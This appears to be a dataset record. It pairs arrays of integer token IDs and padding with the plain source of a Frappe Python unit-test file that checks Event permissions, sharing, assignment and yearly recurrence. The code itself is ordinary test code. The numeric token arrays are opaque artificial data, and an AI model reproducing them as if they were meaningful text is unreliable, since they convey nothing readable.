[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 10321, 18, 14, 19863, 272, 32202, 1714, 339, 961, 859, 9031, 282, 18040, 367, 314, 3380, 14, 339, 520, 7307, 26, 334, 67, 9, 7129, 701, 314, 17300, 11682, 14, 272, 520, 1682, 26, 6289, 14, 199, 624, 199, 504, 10321, 18, 14, 2415, 492, 5013, 421, 199, 533, 5013, 18324, 8, 785, 304, 272, 408, 31491, 83, 314, 9006, 6302, 3123, 436, 1240, 18040, 3423, 367, 4036, 272, 1031, 1911, 14, 221, 710, 18040, 3423, 1443, 372, 1338, 1314, 911, 506, 272, 24172, 701, 314, 658, 5427, 64, 1083, 14, 339, 3492, 849, 314, 18040, 3423, 367, 314, 3380, 787, 12692, 5427, 8650, 1040, 435, 272, 1021, 536, 402, 314, 1031, 14, 221, 2002, 282, 658, 12357, 8694, 1183, 64, 1031, 5684, 805, 3955, 272, 506, 658, 5427, 63, 12357, 8694, 1183, 2313, 221, 961, 5953, 883, 506, 2896, 701, 18972, 272, 314, 658, 362, 63, 19863, 64, 805, 14, 221, 982, 949, 18040, 805, 3495, 367, 282, 1031, 272, 334, 1107, 574, 658, 403, 10522, 314, 658, 6767, 63, 5427, 64, 18040, 365, 1202, 3140, 14, 272, 408, 339, 347, 664, 63, 19863, 8, 277, 12, 1031, 304, 267, 408, 1767, 314, 18040, 805, 367, 642, 1031, 503, 658, 403, 64, 340, 949, 18040, 267, 3495, 367, 642, 1031, 14, 221, 1010, 626, 1930, 314, 7809, 5684, 805, 365, 267, 1202, 3140, 14, 267, 408, 267, 1083, 275, 283, 5427, 8650, 435, 1031, 855, 533, 4914, 354, 363, 267, 372, 2519, 8, 277, 12, 1083, 12, 488, 9, 339, 347, 5684, 8, 277, 12, 1031, 12, 627, 589, 12, 1011, 958, 304, 267, 408, 15087, 282, 1031, 1041, 267, 289, 275, 291, 14, 362, 63, 19863, 8, 932, 9, 267, 340, 289, 365, 440, 488, 26, 288, 372, 289, 8, 932, 12, 627, 589, 12, 1011, 958, 9, 267, 372, 291, 14, 6767, 63, 5427, 8, 932, 12, 627, 589, 12, 1011, 958, 9, 339, 347, 7809, 63, 5427, 8, 277, 12, 1031, 12, 627, 589, 12, 1011, 958, 304, 267, 408, 10474, 340, 949, 5027, 18040, 805, 3495, 367, 282, 1031, 1041, 267, 367, 1031, 315, 1031, 14, 1661, 63, 1739, 63, 2415, 837, 288, 291, 14, 5427, 8, 932, 12, 627, 589, 12, 1011, 958, 9, 421, 199, 533, 5013, 19761, 8, 1716, 18324, 304, 272, 408, 31491, 83, 314, 9006, 6302, 3123, 436, 6127, 23070, 402, 3380, 14, 339, 710, 658, 1716, 19761, 64, 911, 12778, 314, 20788, 436, 675, 314, 372, 574, 402, 314, 272, 18040, 3423, 370, 3350, 503, 2813, 314, 2269, 1031, 14, 221, 982, 314, 372, 272, 574, 402, 314, 18040, 805, 365, 658, 403, 64, 314, 1031, 911, 506, 4829, 272, 687, 314, 4136, 2909, 4257, 652, 1159, 8717, 543, 314, 372, 272, 574, 14, 221, 710, 372, 574, 1443, 506, 314, 3379, 1031, 315, 1314, 1930, 949, 272, 8343, 6181, 4192, 14, 272, 408, 339, 347, 7809, 63, 5427, 8, 277, 12, 1031, 12, 627, 589, 12, 1011, 958, 304, 267, 367, 901, 12, 2269, 63, 585, 315, 1031, 14, 1661, 63, 955, 837, 288, 340, 1228, 8, 1753, 63, 585, 12, 769, 304, 355, 892, 63, 1459, 275, 942, 355, 367, 574, 315, 2269, 63, 585, 26, 490, 340, 1228, 8, 585, 12, 5013, 304, 717, 574, 275, 291, 14, 5427, 8, 585, 12, 627, 589, 12, 1011, 958, 9, 717, 340, 574, 365, 488, 26, 1169, 1980, 717, 916, 440, 1228, 8, 585, 12, 5013, 304, 1169, 892, 63, 1459, 14, 2880, 8, 585, 9, 1169, 1980, 490, 892, 63, 1459, 14, 740, 8, 585, 9, 355, 2269, 63, 585, 5873, 275, 892, 63, 1459, 288, 916, 1228, 8, 1753, 63, 585, 12, 5013, 304, 355, 892, 63, 932, 275, 291, 14, 5427, 8, 1753, 63, 585, 12, 627, 589, 12, 1011, 958, 9, 355, 340, 892, 63, 932, 365, 488, 26, 490, 24358, 8, 932, 12, 901, 9, 355, 587, 26, 490, 5371, 8, 932, 12, 901, 12, 892, 63, 932, 9, 267, 372, 1031, 339, 347, 5684, 63, 513, 8, 277, 12, 1031, 12, 627, 589, 12, 1011, 958, 304, 267, 408, 2822, 1752, 22932, 1443, 372, 5548, 315, 2005, 9825, 642, 1083, 267, 883, 506, 1202, 370, 15814, 282, 769, 465, 372, 574, 14, 267, 408, 267, 4336, 275, 291, 14, 5427, 8, 932, 12, 627, 589, 12, 1011, 958, 9, 267, 340, 440, 1228, 8, 6310, 12, 769, 304, 288, 4336, 275, 359, 6310, 61, 267, 372, 4336, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 10321, 18, 14, 19863, 272, 32202, 1714, 339, 961, 859, 9031, 282, 18040, 367, 314, 3380, 14, 339, 520, 7307, 26, 334, 67, 9, 7129, 701, 314, 17300, 11682, 14, 272, 520, 1682, 26, 6289, 14, 199, 624, 199, 504, 10321, 18, 14, 2415, 492, 5013, 421, 199, 533, 5013, 18324, 8, 785, 304, 272, 408, 31491, 83, 314, 9006, 6302, 3123, 436, 1240, 18040, 3423, 367, 4036, 272, 1031, 1911, 14, 221, 710, 18040, 3423, 1443, 372, 1338, 1314, 911, 506, 272, 24172, 701, 314, 658, 5427, 64, 1083, 14, 339, 3492, 849, 314, 18040, 3423, 367, 314, 3380, 787, 12692, 5427, 8650, 1040, 435, 272, 1021, 536, 402, 314, 1031, 14, 221, 2002, 282, 658, 12357, 8694, 1183, 64, 1031, 5684, 805, 3955, 272, 506, 658, 5427, 63, 12357, 8694, 1183, 2313, 221, 961, 5953, 883, 506, 2896, 701, 18972, 272, 314, 658, 362, 63, 19863, 64, 805, 14, 221, 982, 949, 18040, 805, 3495, 367, 282, 1031, 272, 334, 1107, 574, 658, 403, 10522, 314, 658, 6767, 63, 5427, 64, 18040, 365, 1202, 3140, 14, 272, 408, 339, 347, 664, 63, 19863, 8, 277, 12, 1031, 304, 267, 408, 1767, 314, 18040, 805, 367, 642, 1031, 503, 658, 403, 64, 340, 949, 18040, 267, 3495, 367, 642, 1031, 14, 221, 1010, 626, 1930, 314, 7809, 5684, 805, 365, 267, 1202, 3140, 14, 267, 408, 267, 1083, 275, 283, 5427, 8650, 435, 1031, 855, 533, 4914, 354, 363, 267, 372, 2519, 8, 277, 12, 1083, 12, 488, 9, 339, 347, 5684, 8, 277, 12, 1031, 12, 627, 589, 12, 1011, 958, 304, 267, 408, 15087, 282, 1031, 1041, 267, 289, 275, 291, 14, 362, 63, 19863, 8, 932, 9, 267, 340, 289, 365, 440, 488, 26, 288, 372, 289, 8, 932, 12, 627, 589, 12, 1011, 958, 9, 267, 372, 291, 14, 6767, 63, 5427, 8, 932, 12, 627, 589, 12, 1011, 958, 9, 339, 347, 7809, 63, 5427, 8, 277, 12, 1031, 12, 627, 589, 12, 1011, 958, 304, 267, 408, 10474, 340, 949, 5027, 18040, 805, 3495, 367, 282, 1031, 1041, 267, 367, 1031, 315, 1031, 14, 1661, 63, 1739, 63, 2415, 837, 288, 291, 14, 5427, 8, 932, 12, 627, 589, 12, 1011, 958, 9, 421, 199, 533, 5013, 19761, 8, 1716, 18324, 304, 272, 408, 31491, 83, 314, 9006, 6302, 3123, 436, 6127, 23070, 402, 3380, 14, 339, 710, 658, 1716, 19761, 64, 911, 12778, 314, 20788, 436, 675, 314, 372, 574, 402, 314, 272, 18040, 3423, 370, 3350, 503, 2813, 314, 2269, 1031, 14, 221, 982, 314, 372, 272, 574, 402, 314, 18040, 805, 365, 658, 403, 64, 314, 1031, 911, 506, 4829, 272, 687, 314, 4136, 2909, 4257, 652, 1159, 8717, 543, 314, 372, 272, 574, 14, 221, 710, 372, 574, 1443, 506, 314, 3379, 1031, 315, 1314, 1930, 949, 272, 8343, 6181, 4192, 14, 272, 408, 339, 347, 7809, 63, 5427, 8, 277, 12, 1031, 12, 627, 589, 12, 1011, 958, 304, 267, 367, 901, 12, 2269, 63, 585, 315, 1031, 14, 1661, 63, 955, 837, 288, 340, 1228, 8, 1753, 63, 585, 12, 769, 304, 355, 892, 63, 1459, 275, 942, 355, 367, 574, 315, 2269, 63, 585, 26, 490, 340, 1228, 8, 585, 12, 5013, 304, 717, 574, 275, 291, 14, 5427, 8, 585, 12, 627, 589, 12, 1011, 958, 9, 717, 340, 574, 365, 488, 26, 1169, 1980, 717, 916, 440, 1228, 8, 585, 12, 5013, 304, 1169, 892, 63, 1459, 14, 2880, 8, 585, 9, 1169, 1980, 490, 892, 63, 1459, 14, 740, 8, 585, 9, 355, 2269, 63, 585, 5873, 275, 892, 63, 1459, 288, 916, 1228, 8, 1753, 63, 585, 12, 5013, 304, 355, 892, 63, 932, 275, 291, 14, 5427, 8, 1753, 63, 585, 12, 627, 589, 12, 1011, 958, 9, 355, 340, 892, 63, 932, 365, 488, 26, 490, 24358, 8, 932, 12, 901, 9, 355, 587, 26, 490, 5371, 8, 932, 12, 901, 12, 892, 63, 932, 9, 267, 372, 1031, 339, 347, 5684, 63, 513, 8, 277, 12, 1031, 12, 627, 589, 12, 1011, 958, 304, 267, 408, 2822, 1752, 22932, 1443, 372, 5548, 315, 2005, 9825, 642, 1083, 267, 883, 506, 1202, 370, 15814, 282, 769, 465, 372, 574, 14, 267, 408, 267, 4336, 275, 291, 14, 5427, 8, 932, 12, 627, 589, 12, 1011, 958, 9, 267, 340, 440, 1228, 8, 6310, 12, 769, 304, 288, 4336, 275, 359, 6310, 61, 267, 372, 4336, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32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0, 0, 0, 0, 0 ]
neilLasrado/frappe
frappe/desk/doctype/event/test_event.py
9
4053
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors # MIT License. See license.txt from __future__ import unicode_literals """Use blog post test to test user permissions logic""" import frappe import frappe.defaults import unittest import json from frappe.desk.doctype.event.event import get_events from frappe.test_runner import make_test_objects test_records = frappe.get_test_records('Event') class TestEvent(unittest.TestCase): def setUp(self): frappe.db.sql('delete from tabEvent') make_test_objects('Event', reset=True) self.test_records = frappe.get_test_records('Event') self.test_user = "test1@example.com" def tearDown(self): frappe.set_user("Administrator") def test_allowed_public(self): frappe.set_user(self.test_user) doc = frappe.get_doc("Event", frappe.db.get_value("Event", {"subject":"_Test Event 1"})) self.assertTrue(frappe.has_permission("Event", doc=doc)) def test_not_allowed_private(self): frappe.set_user(self.test_user) doc = frappe.get_doc("Event", frappe.db.get_value("Event", {"subject":"_Test Event 2"})) self.assertFalse(frappe.has_permission("Event", doc=doc)) def test_allowed_private_if_in_event_user(self): name = frappe.db.get_value("Event", {"subject":"_Test Event 3"}) frappe.share.add("Event", name, self.test_user, "read") frappe.set_user(self.test_user) doc = frappe.get_doc("Event", name) self.assertTrue(frappe.has_permission("Event", doc=doc)) frappe.set_user("Administrator") frappe.share.remove("Event", name, self.test_user) def test_event_list(self): frappe.set_user(self.test_user) res = frappe.get_list("Event", filters=[["Event", "subject", "like", "_Test Event%"]], fields=["name", "subject"]) self.assertEqual(len(res), 1) subjects = [r.subject for r in res] self.assertTrue("_Test Event 1" in subjects) self.assertFalse("_Test Event 3" in subjects) self.assertFalse("_Test Event 2" in subjects) def test_revert_logic(self): ev = frappe.get_doc(self.test_records[0]).insert() name = ev.name frappe.delete_doc("Event", ev.name) # insert again ev = frappe.get_doc(self.test_records[0]).insert() # the name should be same! self.assertEqual(ev.name, name) def test_assign(self): from frappe.desk.form.assign_to import add ev = frappe.get_doc(self.test_records[0]).insert() add({ "assign_to": "test@example.com", "doctype": "Event", "name": ev.name, "description": "Test Assignment" }) ev = frappe.get_doc("Event", ev.name) self.assertEqual(ev._assign, json.dumps(["test@example.com"])) # add another one add({ "assign_to": self.test_user, "doctype": "Event", "name": ev.name, "description": "Test Assignment" }) ev = frappe.get_doc("Event", ev.name) self.assertEqual(set(json.loads(ev._assign)), set(["test@example.com", self.test_user])) # close an assignment todo = frappe.get_doc("ToDo", {"reference_type": ev.doctype, "reference_name": ev.name, "owner": self.test_user}) todo.status = "Closed" todo.save() ev = frappe.get_doc("Event", ev.name) self.assertEqual(ev._assign, json.dumps(["test@example.com"])) # cleanup ev.delete() def test_recurring(self): ev = frappe.get_doc({ "doctype":"Event", "subject": "_Test Event", "starts_on": "2014-02-01", "event_type": "Public", "repeat_this_event": 1, "repeat_on": "Every Year" }) ev.insert() ev_list = get_events("2014-02-01", "2014-02-01", "Administrator", for_reminder=True) self.assertTrue(bool(list(filter(lambda e: e.name==ev.name, ev_list)))) ev_list1 = get_events("2015-01-20", "2015-01-20", "Administrator", for_reminder=True) self.assertFalse(bool(list(filter(lambda e: e.name==ev.name, ev_list1)))) ev_list2 = get_events("2014-02-20", "2014-02-20", "Administrator", for_reminder=True) self.assertFalse(bool(list(filter(lambda e: e.name==ev.name, ev_list2)))) ev_list3 = get_events("2015-02-01", "2015-02-01", "Administrator", for_reminder=True) self.assertTrue(bool(list(filter(lambda e: e.name==ev.name, ev_list3))))
mit
[ 3, 1898, 334, 67, 9, 6900, 12, 481, 5034, 19215, 29053, 14, 12126, 14, 436, 23212, 199, 3, 10697, 844, 14, 1666, 4190, 14, 2424, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 624, 6119, 19936, 2963, 511, 370, 511, 922, 3443, 9661, 624, 199, 199, 646, 6950, 199, 646, 6950, 14, 4322, 199, 646, 2882, 199, 646, 2022, 199, 199, 504, 6950, 14, 10368, 14, 6356, 14, 1430, 14, 1430, 492, 664, 63, 4368, 199, 504, 6950, 14, 396, 63, 5933, 492, 1852, 63, 396, 63, 1462, 199, 199, 396, 63, 6502, 275, 6950, 14, 362, 63, 396, 63, 6502, 360, 2390, 358, 199, 199, 533, 1379, 2390, 8, 2796, 14, 1746, 304, 199, 198, 318, 3613, 8, 277, 304, 507, 198, 9098, 14, 697, 14, 3009, 360, 1807, 687, 5174, 2390, 358, 507, 198, 1875, 63, 396, 63, 1462, 360, 2390, 297, 5305, 29, 549, 9, 2742, 198, 277, 14, 396, 63, 6502, 275, 6950, 14, 362, 63, 396, 63, 6502, 360, 2390, 358, 507, 198, 277, 14, 396, 63, 751, 275, 298, 396, 17, 32, 2694, 14, 957, 2, 421, 198, 318, 6766, 8, 277, 304, 507, 198, 9098, 14, 409, 63, 751, 480, 31972, 531, 421, 198, 318, 511, 63, 6541, 63, 3455, 8, 277, 304, 507, 198, 9098, 14, 409, 63, 751, 8, 277, 14, 396, 63, 751, 9, 507, 198, 1301, 275, 6950, 14, 362, 63, 1301, 480, 2390, 401, 6950, 14, 697, 14, 362, 63, 585, 480, 2390, 401, 2420, 5875, 5122, 63, 774, 6763, 413, 3570, 430, 507, 198, 277, 14, 1815, 8, 9098, 14, 1989, 63, 5693, 480, 2390, 401, 1382, 29, 1301, 430, 421, 198, 318, 511, 63, 1397, 63, 6541, 63, 4239, 8, 277, 304, 507, 198, 9098, 14, 409, 63, 751, 8, 277, 14, 396, 63, 751, 9, 507, 198, 1301, 275, 6950, 14, 362, 63, 1301, 480, 2390, 401, 6950, 14, 697, 14, 362, 63, 585, 480, 2390, 401, 2420, 5875, 5122, 63, 774, 6763, 499, 3570, 430, 507, 198, 277, 14, 3334, 8, 9098, 14, 1989, 63, 5693, 480, 2390, 401, 1382, 29, 1301, 430, 421, 198, 318, 511, 63, 6541, 63, 4239, 63, 692, 63, 262, 63, 1430, 63, 751, 8, 277, 304, 507, 198, 354, 275, 6950, 14, 697, 14, 362, 63, 585, 480, 2390, 401, 2420, 5875, 5122, 63, 774, 6763, 650, 5984, 507, 198, 9098, 14, 6251, 14, 525, 480, 2390, 401, 536, 12, 291, 14, 396, 63, 751, 12, 298, 739, 531, 507, 198, 9098, 14, 409, 63, 751, 8, 277, 14, 396, 63, 751, 9, 507, 198, 1301, 275, 6950, 14, 362, 63, 1301, 480, 2390, 401, 536, 9, 507, 198, 277, 14, 1815, 8, 9098, 14, 1989, 63, 5693, 480, 2390, 401, 1382, 29, 1301, 430, 507, 198, 9098, 14, 409, 63, 751, 480, 31972, 531, 507, 198, 9098, 14, 6251, 14, 2168, 480, 2390, 401, 536, 12, 291, 14, 396, 63, 751, 9, 421, 198, 318, 511, 63, 1430, 63, 513, 8, 277, 304, 507, 198, 9098, 14, 409, 63, 751, 8, 277, 14, 396, 63, 751, 9, 507, 198, 470, 275, 6950, 14, 362, 63, 513, 480, 2390, 401, 4766, 1524, 905, 2390, 401, 298, 5875, 401, 298, 2930, 401, 2668, 774, 6763, 5, 18396, 1504, 6270, 354, 401, 298, 5875, 3135, 507, 198, 277, 14, 629, 8, 552, 8, 470, 395, 413, 9, 507, 198, 25660, 275, 359, 82, 14, 5875, 367, 519, 315, 522, 61, 507, 198, 277, 14, 1815, 11008, 774, 6763, 413, 2, 315, 32446, 9, 507, 198, 277, 14, 3334, 11008, 774, 6763, 650, 2, 315, 32446, 9, 507, 198, 277, 14, 3334, 11008, 774, 6763, 499, 2, 315, 32446, 9, 421, 198, 318, 511, 63, 19092, 63, 15370, 8, 277, 304, 507, 198, 6857, 275, 6950, 14, 362, 63, 1301, 8, 277, 14, 396, 63, 6502, 59, 16, 6575, 3176, 342, 507, 198, 354, 275, 8145, 14, 354, 2742, 198, 9098, 14, 1807, 63, 1301, 480, 2390, 401, 8145, 14, 354, 9, 2742, 198, 3, 5518, 4020, 507, 198, 6857, 275, 6950, 14, 362, 63, 1301, 8, 277, 14, 396, 63, 6502, 59, 16, 6575, 3176, 342, 2742, 198, 3, 314, 536, 1077, 506, 2011, 1, 507, 198, 277, 14, 629, 8, 6857, 14, 354, 12, 536, 9, 421, 198, 318, 511, 63, 5038, 8, 277, 304, 507, 198, 504, 6950, 14, 10368, 14, 964, 14, 5038, 63, 475, 492, 1050, 2742, 198, 6857, 275, 6950, 14, 362, 63, 1301, 8, 277, 14, 396, 63, 6502, 59, 16, 6575, 3176, 342, 2742, 198, 525, 2561, 686, 198, 2, 5038, 63, 475, 582, 298, 396, 32, 2694, 14, 957, 401, 686, 198, 2, 6356, 582, 298, 2390, 401, 686, 198, 2, 354, 582, 8145, 14, 354, 12, 686, 198, 2, 1802, 582, 298, 774, 16927, 434, 2, 507, 198, 1552, 2742, 198, 6857, 275, 6950, 14, 362, 63, 1301, 480, 2390, 401, 8145, 14, 354, 9, 2742, 198, 277, 14, 629, 8, 6857, 423, 5038, 12, 2022, 14, 4180, 5234, 396, 32, 2694, 14, 957, 13045, 2742, 198, 3, 1050, 4573, 1373, 507, 198, 525, 2561, 686, 198, 2, 5038, 63, 475, 582, 291, 14, 396, 63, 751, 12, 686, 198, 2, 6356, 582, 298, 2390, 401, 686, 198, 2, 354, 582, 8145, 14, 354, 12, 686, 198, 2, 1802, 582, 298, 774, 16927, 434, 2, 507, 198, 1552, 2742, 198, 6857, 275, 6950, 14, 362, 63, 1301, 480, 2390, 401, 8145, 14, 354, 9, 2742, 198, 277, 14, 629, 8, 409, 8, 1001, 14, 3640, 8, 6857, 423, 5038, 1826, 663, 5234, 396, 32, 2694, 14, 957, 401, 291, 14, 396, 63, 751, 2459, 2742, 198, 3, 4002, 376, 9801, 507, 198, 11396, 275, 6950, 14, 362, 63, 1301, 480, 1378, 2585, 401, 2420, 4443, 63, 466, 582, 8145, 14, 6356, 12, 298, 4443, 63, 354, 582, 8145, 14, 354, 12, 686, 198, 2, 4597, 582, 291, 14, 396, 63, 751, 1552, 507, 198, 11396, 14, 1205, 275, 298, 15190, 2, 507, 198, 11396, 14, 2117, 342, 2742, 198, 6857, 275, 6950, 14, 362, 63, 1301, 480, 2390, 401, 8145, 14, 354, 9, 507, 198, 277, 14, 629, 8, 6857, 423, 5038 ]
[ 1898, 334, 67, 9, 6900, 12, 481, 5034, 19215, 29053, 14, 12126, 14, 436, 23212, 199, 3, 10697, 844, 14, 1666, 4190, 14, 2424, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 624, 6119, 19936, 2963, 511, 370, 511, 922, 3443, 9661, 624, 199, 199, 646, 6950, 199, 646, 6950, 14, 4322, 199, 646, 2882, 199, 646, 2022, 199, 199, 504, 6950, 14, 10368, 14, 6356, 14, 1430, 14, 1430, 492, 664, 63, 4368, 199, 504, 6950, 14, 396, 63, 5933, 492, 1852, 63, 396, 63, 1462, 199, 199, 396, 63, 6502, 275, 6950, 14, 362, 63, 396, 63, 6502, 360, 2390, 358, 199, 199, 533, 1379, 2390, 8, 2796, 14, 1746, 304, 199, 198, 318, 3613, 8, 277, 304, 507, 198, 9098, 14, 697, 14, 3009, 360, 1807, 687, 5174, 2390, 358, 507, 198, 1875, 63, 396, 63, 1462, 360, 2390, 297, 5305, 29, 549, 9, 2742, 198, 277, 14, 396, 63, 6502, 275, 6950, 14, 362, 63, 396, 63, 6502, 360, 2390, 358, 507, 198, 277, 14, 396, 63, 751, 275, 298, 396, 17, 32, 2694, 14, 957, 2, 421, 198, 318, 6766, 8, 277, 304, 507, 198, 9098, 14, 409, 63, 751, 480, 31972, 531, 421, 198, 318, 511, 63, 6541, 63, 3455, 8, 277, 304, 507, 198, 9098, 14, 409, 63, 751, 8, 277, 14, 396, 63, 751, 9, 507, 198, 1301, 275, 6950, 14, 362, 63, 1301, 480, 2390, 401, 6950, 14, 697, 14, 362, 63, 585, 480, 2390, 401, 2420, 5875, 5122, 63, 774, 6763, 413, 3570, 430, 507, 198, 277, 14, 1815, 8, 9098, 14, 1989, 63, 5693, 480, 2390, 401, 1382, 29, 1301, 430, 421, 198, 318, 511, 63, 1397, 63, 6541, 63, 4239, 8, 277, 304, 507, 198, 9098, 14, 409, 63, 751, 8, 277, 14, 396, 63, 751, 9, 507, 198, 1301, 275, 6950, 14, 362, 63, 1301, 480, 2390, 401, 6950, 14, 697, 14, 362, 63, 585, 480, 2390, 401, 2420, 5875, 5122, 63, 774, 6763, 499, 3570, 430, 507, 198, 277, 14, 3334, 8, 9098, 14, 1989, 63, 5693, 480, 2390, 401, 1382, 29, 1301, 430, 421, 198, 318, 511, 63, 6541, 63, 4239, 63, 692, 63, 262, 63, 1430, 63, 751, 8, 277, 304, 507, 198, 354, 275, 6950, 14, 697, 14, 362, 63, 585, 480, 2390, 401, 2420, 5875, 5122, 63, 774, 6763, 650, 5984, 507, 198, 9098, 14, 6251, 14, 525, 480, 2390, 401, 536, 12, 291, 14, 396, 63, 751, 12, 298, 739, 531, 507, 198, 9098, 14, 409, 63, 751, 8, 277, 14, 396, 63, 751, 9, 507, 198, 1301, 275, 6950, 14, 362, 63, 1301, 480, 2390, 401, 536, 9, 507, 198, 277, 14, 1815, 8, 9098, 14, 1989, 63, 5693, 480, 2390, 401, 1382, 29, 1301, 430, 507, 198, 9098, 14, 409, 63, 751, 480, 31972, 531, 507, 198, 9098, 14, 6251, 14, 2168, 480, 2390, 401, 536, 12, 291, 14, 396, 63, 751, 9, 421, 198, 318, 511, 63, 1430, 63, 513, 8, 277, 304, 507, 198, 9098, 14, 409, 63, 751, 8, 277, 14, 396, 63, 751, 9, 507, 198, 470, 275, 6950, 14, 362, 63, 513, 480, 2390, 401, 4766, 1524, 905, 2390, 401, 298, 5875, 401, 298, 2930, 401, 2668, 774, 6763, 5, 18396, 1504, 6270, 354, 401, 298, 5875, 3135, 507, 198, 277, 14, 629, 8, 552, 8, 470, 395, 413, 9, 507, 198, 25660, 275, 359, 82, 14, 5875, 367, 519, 315, 522, 61, 507, 198, 277, 14, 1815, 11008, 774, 6763, 413, 2, 315, 32446, 9, 507, 198, 277, 14, 3334, 11008, 774, 6763, 650, 2, 315, 32446, 9, 507, 198, 277, 14, 3334, 11008, 774, 6763, 499, 2, 315, 32446, 9, 421, 198, 318, 511, 63, 19092, 63, 15370, 8, 277, 304, 507, 198, 6857, 275, 6950, 14, 362, 63, 1301, 8, 277, 14, 396, 63, 6502, 59, 16, 6575, 3176, 342, 507, 198, 354, 275, 8145, 14, 354, 2742, 198, 9098, 14, 1807, 63, 1301, 480, 2390, 401, 8145, 14, 354, 9, 2742, 198, 3, 5518, 4020, 507, 198, 6857, 275, 6950, 14, 362, 63, 1301, 8, 277, 14, 396, 63, 6502, 59, 16, 6575, 3176, 342, 2742, 198, 3, 314, 536, 1077, 506, 2011, 1, 507, 198, 277, 14, 629, 8, 6857, 14, 354, 12, 536, 9, 421, 198, 318, 511, 63, 5038, 8, 277, 304, 507, 198, 504, 6950, 14, 10368, 14, 964, 14, 5038, 63, 475, 492, 1050, 2742, 198, 6857, 275, 6950, 14, 362, 63, 1301, 8, 277, 14, 396, 63, 6502, 59, 16, 6575, 3176, 342, 2742, 198, 525, 2561, 686, 198, 2, 5038, 63, 475, 582, 298, 396, 32, 2694, 14, 957, 401, 686, 198, 2, 6356, 582, 298, 2390, 401, 686, 198, 2, 354, 582, 8145, 14, 354, 12, 686, 198, 2, 1802, 582, 298, 774, 16927, 434, 2, 507, 198, 1552, 2742, 198, 6857, 275, 6950, 14, 362, 63, 1301, 480, 2390, 401, 8145, 14, 354, 9, 2742, 198, 277, 14, 629, 8, 6857, 423, 5038, 12, 2022, 14, 4180, 5234, 396, 32, 2694, 14, 957, 13045, 2742, 198, 3, 1050, 4573, 1373, 507, 198, 